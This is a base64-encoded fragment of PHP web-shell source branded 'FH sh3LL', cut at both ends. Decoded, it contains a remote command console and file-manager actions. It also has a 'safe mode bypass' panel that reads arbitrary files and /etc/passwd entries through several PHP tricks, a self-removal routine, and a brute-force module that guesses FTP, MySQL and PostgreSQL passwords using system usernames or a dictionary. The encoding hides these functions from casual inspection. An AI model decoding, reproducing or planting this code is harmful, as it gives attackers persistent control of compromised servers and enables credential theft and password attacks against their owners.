bikgeyRoWzBdIC49IHNwcmludGYoJyUwOFgnLCRpKzEpLic8YnI+Jzt9CiAgICAgICAgICAgICAgICAgICAgJGhbMV0gLj0gJzxicj4nOwogICAgICAgICAgICAgICAgICAgICRoWzJdIC49ICJcbiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTUgYmdjb2xvcj0jMjIyMjIyPjx0cj48dGQgYmdjb2xvcj0jMzMzMzMzPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogbm9ybWFsOyI+PHByZT4nLiRoWzBdLic8L3ByZT48L3NwYW4+PC90ZD48dGQgYmdjb2xvcj0jMjgyODI4PjxwcmU+Jy4kaFsxXS4nPC9wcmU+PC90ZD48dGQgYmdjb2xvcj0jMzMzMzMzPjxwcmU+Jy5odG1sc3BlY2lhbGNoYXJzKCRoWzJdKS4nPC9wcmU+PC90ZD48L3RyPjwvdGFibGU+JzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAncmVuYW1lJzoKICAgICAgICAgICAgaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgewogICAgICAgICAgICAgICAgaWYoIUByZW5hbWUoJF9QT1NUWydwMSddLCAkX1BPU1RbJ3AzJ10pKQogICAgICAgICAgICAgICAgICAgIGVjaG8gJ0NhblwndCByZW5hbWUhPGJyPjxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsKICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICBkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsIicudXJsZW5jb2RlKCRfUE9TVFsncDMnXSkuJyIsbnVsbCwiIik8L3NjcmlwdD4nKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLHRoaXMubmFtZS52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPW5hbWUgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICd0b3VjaCc6CiAgICAgICAgICAgIGlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsKICAgICAgICAgICAgICAgICR0aW1lID0gc3RydG90aW1lKCRfUE9TVFsncDMnXSk7CiAgICAgICAgICAgICAgICBpZigkdGltZSkgewogICAgICAgICAgICAgICAgICAgIGlmKEB0b3VjaCgkX1BPU1RbJ3AxJ10sJHRpbWUsJHRpbWUpKQogICAgICAgICAgICAgICAgICAgICAgICBkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsbnVsbCxudWxsLCIiKTwvc2NyaXB0PicpOwogICAgICAgICAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICdGYWlsITxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2UgZWNobyAnQmFkIHRpbWUgZm9ybWF0ITxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLHRoaXMudG91Y2gudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT10b3VjaCB2YWx1ZT0iJy5kYXRlKCJZLW0tZCBIOmk6cyIsIEBmaWxlbXRpbWUoJF9QT1NUWydwMSddKSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ21rZmlsZSc6CiAgICAgICAgICAgIAogICAgICAgICAgICBicmVhazsKICAgIH0KICAgIGVjaG8gJzwvZGl2Pic7CiAgICBwcmludEZvb3RlcigpOwp9CgpmdW5jdGlvbiBhY3Rpb25TYWZlTW9kZSgpIHsKICAgICR0ZW1wPScnOwogICAgb2Jfc3RhcnQoKTsKICAgIHN3aXRjaCgkX1BPU1RbJ3AxJ10pIHsKICAgICAgICBjYXNlIDE6CiAgICAgICAgICAgICR0ZW1wPUB0ZW1wbmFtKCR0ZXN0LCAnY3gnKTsKICAgICAgICAgICAgaWYoQGNvcHkoImNvbXByZXNzLnpsaWI6Ly8iLiRfUE9TVFsncDInXSwgJHRlbXApKXsKICAgICAgICAgICAgICAgIGVjaG8gQGZpbGVfZ2V0X2NvbnRlbnRzKCR0ZW1wKTsKICAgICAgICAgICAgICAgIHVubGluaygkdGVtcCk7CiAgICAgICAgICAgIH0gZWxzZQogICAgICAgICAgICAgICAgZWNobyAnU29ycnkuLi4gQ2FuXCd0IG9wZW4gZmlsZSc7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgMjoKICAgICAgICAgICAgJGZpbGVzID0gZ2xvYigkX1BPU1RbJ3AyJ10uJyonKTsKICAgICAgICAgICAgaWYoIGlzX2FycmF5KCRmaWxlcykgKQogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlbmFtZSkKICAgICAgICAgICAgICAgICAgICBlY2hvICRmaWxlbmFtZS4iXG4iOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlIDM6CiAgICAgICAgICAgICRjaCA9IGN1cmxfaW5pdCgiZmlsZTovLyIuJF9QT1NUWydwMiddLiJceDAwIi5TRUxGX1BBVEgpOwogICAgICAgICAgICBjdXJsX2V4ZWMoJGNoKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSA0OgogICAgICAgICAgICBpbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7CiAgICAgICAgICAgIGluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsKICAgICAgICAgICAgaW5jbHVkZSgkX1BPU1RbJ3AyJ10pOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlIDU6CiAgICAgICAgICAgIGZvcig7JF9QT1NUWydwMiddIDw9ICRfUE9TVFsncDMnXTskX1BPU1RbJ3AyJ10rKykgewogICAgICAgICAgICAgICAgJHVpZCA9IEBwb3NpeF9nZXRwd3VpZCgkX1BPU1RbJ3AyJ10pOwogICAgICAgICAgICAgICAgaWYgKCR1aWQpCiAgICAgICAgICAgICAgICAgICAgZWNobyBqb2luKCc6JywkdWlkKS4iXG4iOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgNjoKICAgICAgICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnaW1hcF9vcGVuJykpYnJlYWs7CiAgICAgICAgICAgICRzdHJlYW0gPSBpbWFwX29wZW4oJF9QT1NUWydwMiddLCAiIiwgIiIpOwogICAgICAgICAgICBpZiAoJHN0cmVhbSA9PSBGQUxTRSkKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBlY2hvIGltYXBfYm9keSgkc3RyZWFtLCAxKTsKICAgICAgICAgICAgaW1hcF9jbG9zZSgkc3RyZWFtKTsKICAgICAgICAgICAgYnJlYWs7CiAgICB9CiAgICAkdGVtcCA9IG9iX2dldF9jbGVhbigpOwogICAgcHJpbnRIZWFkZXIoKTsKICAgIGVjaG8gJzxoMT5TYWZlIG1vZGUgYnlwYXNzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKICAgIGVjaG8gJzxzcGFuPkNvcHkgKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiMSIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPkdsb2IgKGxpc3QgZGlyKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCIyIix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PHNwYW4+Q3VybCAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCIzIix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PHNwYW4+SW5pX3Jlc3RvcmUgKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNCIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPlBvc2l4X2dldHB3dWlkICgiUmVhZCIgL2V0Yy9wYXNzd2QpPC9zcGFuPjx0YWJsZT48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCI1Iix0aGlzLnBhcmFtMS52YWx1ZSx0aGlzLnBhcmFtMi52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjx0cj48dGQ+RnJvbTwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbTEgdmFsdWU9MD48L3RkPjwvdHI+PHRyPjx0ZD5UbzwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbTIgdmFsdWU9MTAwMD48L3RkPjwvdHI+PC90YWJsZT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxicj48c3Bhbj5JbWFwX29wZW4gKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNiIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKICAgIGlmKCR0ZW1wKQogICAgICAgIGVjaG8gJzxwcmUgY2xhc3M9Im1sMSIgc3R5bGU9Im1hcmdpbi10b3A6NXB4IiBpZD0iT3V0cHV0Ij4nLiR0ZW1wLic8L3ByZT4nOwogICAgZWNobyAnPC9kaXY+JzsKICAgIHByaW50Rm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvbkNvbnNvbGUoKSB7CiAgICBpZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsKICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IHRydWU7CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBlY2hvICJkb2N1bWVudC5jZi5jbWQudmFsdWU9Jyc7XG4iOwogICAgICAgICR0ZW1wID0gQGljb252KCRfUE9TVFsnY2hhcnNldCddLCAnVVRGLTgnLCBhZGRjc2xhc2hlcygiXG4kICIuJF9QT1NUWydwMSddLiJcbiIuZXgoJF9QT1NUWydwMSddKSwiXG5cclx0XFwnXDAiKSk7CiAgICAgICAgaWYocHJlZ19tYXRjaCgiIS4qY2RccysoW147XSspJCEiLCRfUE9TVFsncDEnXSwkbWF0Y2gpKSAgICB7CiAgICAgICAgICAgIGlmKEBjaGRpcigkbWF0Y2hbMV0pKSB7CiAgICAgICAgICAgICAgICAkR0xPQkFMU1snY3dkJ10gPSBAZ2V0Y3dkKCk7CiAgICAgICAgICAgICAgICBlY2hvICJkb2N1bWVudC5tZi5jLnZhbHVlPSciLiRHTE9CQUxTWydjd2QnXS4iJzsiOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVjaG8gImRvY3VtZW50LmNmLm91dHB1dC52YWx1ZSs9JyIuJHRlbXAuIic7IjsKICAgICAgICBlY2hvICJkb2N1bWVudC5jZi5vdXRwdXQuc2Nyb2xsVG9wID0gZG9jdW1lbnQuY2Yub3V0cHV0LnNjcm9sbEhlaWdodDsiOwogICAgICAgICR0ZW1wID0gb2JfZ2V0X2NsZWFuKCk7CiAgICAgICAgZWNobyBzdHJsZW4oJHRlbXApLCAiXG4iLCAkdGVtcDsKICAgICAgICBleGl0OwogICAgfQogICAgcHJpbnRIZWFkZXIoKTsKCmVjaG8gJzxzY3JpcHQ+CmlmKHdpbmRvdy5FdmVudCkgd2luZG93LmNhcHR1cmVFdmVudHMoRXZlbnQuS0VZRE9XTik7CnZhciBjbWRzID0gbmV3IEFycmF5KCIiKTsKdmFyIGN1ciA9IDA7CmZ1bmN0aW9uIGtwKGUpIHsKICAgIHZhciBuID0gKHdpbmRvdy5FdmVudCkgPyBlLndoaWNoIDogZS5rZXlDb2RlOwogICAgaWYobiA9PSAzOCkgewogICAgICAgIGN1ci0tOwogICAgICAgIGlmKGN1cj49MCkKICAgICAgICAgICAgZG9jdW1lbnQuY2YuY21kLnZhbHVlID0gY21kc1tjdXJdOwogICAgICAgIGVsc2UKICAgICAgICAgICAgY3VyKys7CiAgICB9IGVsc2UgaWYobiA9PSA0MCkgewogICAgICAgIGN1cisrOwogICAgICAgIGlmKGN1ciA8IGNtZHMubGVuZ3RoKQogICAgICAgICAgICBkb2N1bWVudC5jZi5jbWQudmFsdWUgPSBjbWRzW2N1cl07CiAgICAgICAgZWxzZQogICAgICAgICAgICBjdXItLTsKICAgIH0KfQpmdW5jdGlvbiBhZGQoY21kKSB7CiAgICBjbWRzLnBvcCgpOwogICAgY21kcy5wdXNoKGNtZCk7CiAgICBjbWRzLnB1c2goIiIpOwogICAgY3VyID0gY21kcy5sZW5ndGgtMTsKfQo8L3NjcmlwdD4nOwogICAgZWNobyAnPGgxPkNvbnNvbGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPWNmIG9uc3VibWl0PSJpZihkb2N1bWVudC5jZi5jbWQudmFsdWU9PVwnY2xlYXJcJyl7ZG9jdW1lbnQuY2Yub3V0cHV0LnZhbHVlPVwnXCc7ZG9jdW1lbnQuY2YuY21kLnZhbHVlPVwnXCc7cmV0dXJuIGZhbHNlO31hZGQodGhpcy5jbWQudmFsdWUpO2lmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSk7fWVsc2V7ZyhudWxsLG51bGwsdGhpcy5jbWQudmFsdWUpO30gcmV0dXJuIGZhbHNlOyI+PHNlbGVjdCBuYW1lPWFsaWFzPic7CiAgICBmb3JlYWNoKCRHTE9CQUxTWydhbGlhc2VzJ10gYXMgJG4gPT4gJHYpIHsKICAgICAgICBpZigkdiA9PSAnJykgewogICAgICAgICAgICBlY2hvICc8b3B0Z3JvdXAgbGFiZWw9Ii0nLmh0bWxzcGVjaWFsY2hhcnMoJG4pLictIj48L29wdGdyb3VwPic7CiAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgIH0KICAgICAgICBlY2hvICc8b3B0aW9uIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiciPicuJG4uJzwvb3B0aW9uPic7CiAgICB9CiAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gZmFsc2U7CiAgICBlY2hvICc8L3NlbGVjdD48aW5wdXQgdHlwZT1idXR0b24gb25jbGljaz0iYWRkKGRvY3VtZW50LmNmLmFsaWFzLnZhbHVlKTtpZihkb2N1bWVudC5jZi5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLGRvY3VtZW50LmNmLmFsaWFzLnZhbHVlKTt9ZWxzZXtnKG51bGwsbnVsbCxkb2N1bWVudC5jZi5hbGlhcy52YWx1ZSk7fSIgdmFsdWU9Ij4+Ij4gPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgJy4oJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4nPiBzZW5kIHVzaW5nIEFKQVg8YnIvPjx0ZXh0YXJlYSBjbGFzcz1iaWdhcmVhIG5hbWU9b3V0cHV0IHN0eWxlPSJib3JkZXItYm90dG9tOjA7IiByZWFkb25seT4nOwogICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsKICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoIiQgIi4kX1BPU1RbJ3AxJ10uIlxuIi5leCgkX1BPU1RbJ3AxJ10pKTsKICAgIH0KICAgIGVjaG8gJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNtZCBzdHlsZT0iYm9yZGVyLXRvcDowO3dpZHRoOjEwMCU7IiBvbmtleWRvd249ImtwKGV2ZW50KTsiPic7CiAgICBlY2hvICc8L2Zvcm0+PC9kaXY+PHNjcmlwdD5kb2N1bWVudC5jZi5jbWQuZm9jdXMoKTs8L3NjcmlwdD4nOwogICAgcHJpbnRGb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uTG9nb3V0KCkgewogICAgdW5zZXQoJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSk7CiAgICBlY2hvICc8Ym9keSBiZ2NvbG9yPSIjNDQ0Ij48Y2VudGVyPjxpbWcgc3JjPSJodHRwOi8vaW1nOS5pbWFnZXNoYWNrLnVzL2ltZzkvNjUyMS9sb2dvZHN6LnBuZyIgYWx0PSJGSCI+PGJyPjxicj48aDE+PGZvbnQgY29sb3I9IndoaXRlIj5WaXNpdGEtbm9zOiA8YSBocmVmPSJodHRwOi8vd3d3LmZvcnVtLWhhY2tlci5jb20uYnIvZm9ydW0iPkZvcnVtLUhhY2tlcjwvYT48L2ZvbnQ+PC9oMT48L2NlbnRlcj48L2JvZHk+JzsKCQp9CgpmdW5jdGlvbiBhY3Rpb25TZWxmUmVtb3ZlKCkgewogICAgcHJpbnRIZWFkZXIoKTsKICAgIGlmKCRfUE9TVFsncDEnXSA9PSAneWVzJykgewogICAgICAgIGlmKEB1bmxpbmsoU0VMRl9QQVRIKSkKICAgICAgICAgICAgZGllKCdGSCBzaDNMTCBmb2kgcmVtb3ZpZGEgY29tIHN1Y2Vzc28hJyk7CiAgICAgICAgZWxzZQogICAgICAgICAgICBlY2hvICdFcnJvISc7CiAgICB9CiAgICBlY2hvICc8aDE+Rkggc2gzTEw6IDwvaDE+PGRpdiBjbGFzcz1jb250ZW50PlF1ZXJlcyBtZXNtbyByZW1vdmVyIGEgc2hlbGw/PGJyPjxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxcJ3llc1wnKSI+WWVzPC9hPjwvZGl2Pic7CiAgICBwcmludEZvb3RlcigpOwp9CgpmdW5jdGlvbiBhY3Rpb25CcnV0ZWZvcmNlKCkgewogICAgcHJpbnRIZWFkZXIoKTsKICAgIGlmKCBpc3NldCgkX1BPU1RbJ3Byb3RvJ10pICkgewogICAgICAgIGVjaG8gJzxoMT5SZXN1bHRzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHNwYW4+VHlwZTo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3Byb3RvJ10pLicgPHNwYW4+U2VydmVyOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc2VydmVyJ10pLic8YnI+JzsKICAgICAgICBpZiggJF9QT1NUWydwcm90byddID09ICdmdHAnICkgewogICAgICAgICAgICBmdW5jdGlvbiBicnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsKICAgICAgICAgICAgICAgICRmcCA9IEBmdHBfY29ubmVjdCgkaXAsICRwb3J0PyRwb3J0OjIxKTsKICAgICAgICAgICAgICAgIGlmKCEkZnApIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgICRyZXMgPSBAZnRwX2xvZ2luKCRmcCwgJGxvZ2luLCAkcGFzcyk7CiAgICAgICAgICAgICAgICBAZnRwX2Nsb3NlKCRmcCk7CiAgICAgICAgICAgICAgICByZXR1cm4gJHJlczsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmKCAkX1BPU1RbJ3Byb3RvJ10gPT0gJ215c3FsJyApIHsKICAgICAgICAgICAgZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7CiAgICAgICAgICAgICAgICAkcmVzID0gQG15c3FsX2Nvbm5lY3QoJGlwLic6Jy4kcG9ydD8kcG9ydDozMzA2LCAkbG9naW4sICRwYXNzKTsKICAgICAgICAgICAgICAgIEBteXNxbF9jbG9zZSgkcmVzKTsKICAgICAgICAgICAgICAgIHJldHVybiAkcmVzOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlaWYoICRfUE9TVFsncHJvdG8nXSA9PSAncGdzcWwnICkgewogICAgICAgICAgICBmdW5jdGlvbiBicnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsKICAgICAgICAgICAgICAgICRzdHIgPSAiaG9zdD0nIi4kaXAuIicgcG9ydD0nIi4kcG9ydC4iJyB1c2VyPSciLiRsb2dpbi4iJyBwYXNzd29yZD0nIi4kcGFzcy4iJyBkYm5hbWU9JyciOwogICAgICAgICAgICAgICAgJHJlcyA9IEBwZ19jb25uZWN0KCRzZXJ2ZXJbMF0uJzonLiRzZXJ2ZXJbMV0/JHNlcnZlclsxXTo1NDMyLCAkbG9naW4sICRwYXNzKTsKICAgICAgICAgICAgICAgIEBwZ19jbG9zZSgkcmVzKTsKICAgICAgICAgICAgICAgIHJldHVybiAkcmVzOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICRzdWNjZXNzID0gMDsKICAgICAgICAkYXR0ZW1wdHMgPSAwOwogICAgICAgICRzZXJ2ZXIgPSBleHBsb2RlKCI6IiwgJF9QT1NUWydzZXJ2ZXInXSk7CiAgICAgICAgaWYoJF9QT1NUWyd0eXBlJ10gPT0gMSkgewogICAgICAgICAgICAkdGVtcCA9IEBmaWxlKCcvZXRjL3Bhc3N3ZCcpOwogICAgICAgICAgICBpZiggaXNfYXJyYXkoJHRlbXApICkKICAgICAgICAgICAgICAgIGZvcmVhY2goJHRlbXAgYXMgJGxpbmUpIHsKICAgICAgICAgICAgICAgICAgICAkbGluZSA9IGV4cGxvZGUoIjoiLCAkbGluZSk7CiAgICAgICAgICAgICAgICAgICAgKyskYXR0ZW1wdHM7CiAgICAgICAgICAgICAgICAgICAgaWYoIGJydXRlRm9yY2UoQCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkbGluZVswXSkgKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRzdWNjZXNzKys7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPGJyPic7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmKEAkX1BPU1RbJ3JldmVyc2UnXSkgewogICAgICAgICAgICAgICAgICAgICAgICAkdG1wID0gIiI7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcigkaT1zdHJsZW4oJGxpbmVbMF0pLTE7ICRpPj0wOyAtLSRpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRtcCAuPSAkbGluZVswXVskaV07CiAgICAgICAgICAgICAgICAgICAgICAgICsrJGF0dGVtcHRzOwogICAgICAgICAgICAgICAgICAgICAgICBpZiggYnJ1dGVGb3JjZShAJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJGxpbmVbMF0sICR0bXApICkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN1Y2Nlc3MrKzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCR0bXApOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmKCRfUE9TVFsndHlwZSddID09IDIpIHsKICAgICAgICAgICAgJHRlbXAgPSBAZmlsZSgkX1BPU1RbJ2RpY3QnXSk7CiAgICAgICAgICAgIGlmKCBpc19hcnJheSgkdGVtcCkgKQogICAgICAgICAgICAgICAgZm9yZWFjaCgkdGVtcCBhcyAkbGluZSkgewogICAgICAgICAgICAgICAgICAgICRsaW5lID0gdHJpbSgkbGluZSk7CiAgICAgICAgICAgICAgICAgICAgKyskYXR0ZW1wdHM7CiAgICAgICAgICAgICAgICAgICAgaWYoIGJydXRlRm9yY2UoJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJF9QT1NUWydsb2dpbiddLCAkbGluZSkgKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRzdWNjZXNzKys7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2xvZ2luJ10pLic8L2I+OicuaHRtbHNwZWNpYWxjaGFycygkbGluZSkuJzxicj4nOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZWNobyAiPHNwYW4+QXR0ZW1wdHM6PC9zcGFuPiAkYXR0ZW1wdHMgPHNwYW4+U3VjY2Vzczo8L3NwYW4+ICRzdWNjZXNzPC9kaXY+PGJyPiI7CiAgICB9CiAgICBlY2hvICc8aDE+RlRQIGJydXRlZm9yY2U8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48dGFibGU+PGZvcm0gbWV0aG9kPXBvc3Q+PHRyPjx0ZD48c3Bhbj5UeXBlPC9zcGFuPjwvdGQ+JwogICAgICAgIC4nPHRkPjxzZWxlY3QgbmFtZT1wcm90bz48b3B0aW9uIHZhbHVlPWZ0cD5GVFA8L29wdGlvbj48b3B0aW9uIHZhbHVlPW15c3FsPk15U3FsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1wZ3NxbD5Qb3N0Z3JlU3FsPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD48L3RyPjx0cj48dGQ+JwogICAgICAgIC4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+JwogICAgICAgIC4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnYSddKS4nIj4nCiAgICAgICAgLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydjaGFyc2V0J10pLiciPicKICAgICAgICAuJzxzcGFuPlNlcnZlcjpwb3J0PC9zcGFuPjwvdGQ+JwogICAgICAgIC4nPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zZXJ2ZXIgdmFsdWU9IjEyNy4wLjAuMSI+PC90ZD48L3RyPicKICAgICAgICAuJzx0cj48dGQ+PHNwYW4+QnJ1dGUgdHlwZTwvc3Bhbj48L3RkPicKICAgICAgICAuJzx0ZD48bGFiZWw+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSIxIiBjaGVja2VkPiAvZXRjL3Bhc3N3ZDwvbGFiZWw+PC90ZD48L3RyPicKICAgICAgICAuJzx0cj48dGQ+PC90ZD48dGQ+PGxhYmVsIHN0eWxlPSJwYWRkaW5nLWxlZnQ6MTVweCI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1yZXZlcnNlIHZhbHVlPTEgY2hlY2tlZD4gcmV2ZXJzZSAobG9naW4gLT4gbmlnb2wpPC9sYWJlbD48L3RkPjwvdHI+JwogICAgICAgIC4nPHRyPjx0ZD48L3RkPjx0ZD48bGFiZWw+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSIyIj4gRGljdGlvbmFyeTwvbGFiZWw+PC90ZD48L3RyPicKICAgICAgICAuJzx0cj48dGQ+PC90ZD48dGQ+PHRhYmxlIHN0eWxlPSJwYWRkaW5nLWxlZnQ6MTVweCI+PHRyPjx0ZD48c3Bhbj5Mb2dpbjwvc3Bhbj48L3R